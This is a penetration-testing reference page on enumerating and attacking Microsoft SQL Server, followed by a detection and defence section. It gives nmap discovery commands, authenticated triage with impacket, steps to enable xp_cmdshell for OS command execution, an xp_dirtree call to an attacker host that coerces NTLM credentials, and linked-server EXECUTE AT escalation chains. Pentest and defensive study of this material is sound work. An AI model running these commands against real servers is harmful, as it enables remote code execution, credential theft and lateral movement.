MSSQL enumeration
TL;DR: Microsoft SQL Server on 1433/tcp (plus 1434/udp browser) is rich in offensive primitives:
xp_cmdshellfor OS exec, linked-server impersonation chains, and outbound UNC paths for NTLM coercion.
What it is
SQL Server enumeration covers identifying the instance, authenticating, and inventorying the primitives that lead to OS-level execution. The interesting attack surface is rarely SQL injection of the server itself — it is the rich procedural surface exposed to authenticated principals: xp_cmdshell, OLE automation procedures, CLR assemblies, xp_dirtree/xp_fileexist for outbound UNC, and the linked-server graph that lets one compromised instance pivot to others via EXECUTE AT.
Preconditions / where it applies
- Reach to 1433/tcp on the target instance, or 1434/udp on the SQL Browser to discover named instances.
- A credential — SQL login, domain user (Windows auth), or an existing foothold under a service account.
- For OS exec:
sysadminordb_ownerplus a chain toEXECUTE AS, or a linked server you can impersonate into. - Related: smb-enum, ntlm-relay, password-spraying.
Technique
Discover instances on a subnet:
1
2
nmap -p1433 --script ms-sql-info,ms-sql-empty-password 10.0.0.0/24
nmap -sU -p1434 --script ms-sql-info 10.0.0.0/24 # SQL Browser
Authenticate and triage with impacket’s mssqlclient:
1
2
3
4
mssqlclient.py CORP/alice:'Spring2026'@10.0.0.25 -windows-auth
SQL> SELECT @@version;
SQL> EXEC sp_linkedservers;
SQL> SELECT name, is_srvrolemember('sysadmin', name) FROM sys.server_principals;
If xp_cmdshell is disabled, enable it (sysadmin only):
1
2
3
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
NTLM coercion via outbound UNC — works even without sysadmin if xp_dirtree/xp_fileexist is callable; capture with Responder/ntlmrelayx:
1
EXEC master..xp_dirtree '\\10.0.0.5\share\anything', 1, 1;
Linked-server impersonation chain — escalate by hopping where rpcout and data access are set with stored creds:
1
2
SELECT * FROM OPENQUERY("SQL02", 'SELECT SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')');
EXEC ('xp_cmdshell ''whoami''') AT [SQL02];
PowerUpSQL automates discovery, role inventory, and the linked-server graph (Get-SQLServerLinkCrawl).
Detection and defence
- Audit
xp_cmdshellcalls (event class 102 /audit_change_group), CLR assembly loads, andsp_addlinkedserverchanges. - Disable
xp_cmdshell, OLE automation, and the legacy SQL Mail; remove unused linked servers; forcerpcoutoff where chained execution is not required. - Enforce LDAP-signing-equivalent for SQL: enable Force Encryption + channel binding; disable SQL auth where Windows auth covers the use case.
- Segment SQL servers from user VLANs; egress-block outbound SMB so coerced NTLM cannot reach the attacker.
References
- HackTricks — pentesting MSSQL — primitive cookbook.
- PowerUpSQL — discovery and audit toolkit with linked-server crawler.
- ired.team — MSSQL lateral movement — linked-server
EXECUTE ATchains. - Microsoft — xp_cmdshell server config — official option reference.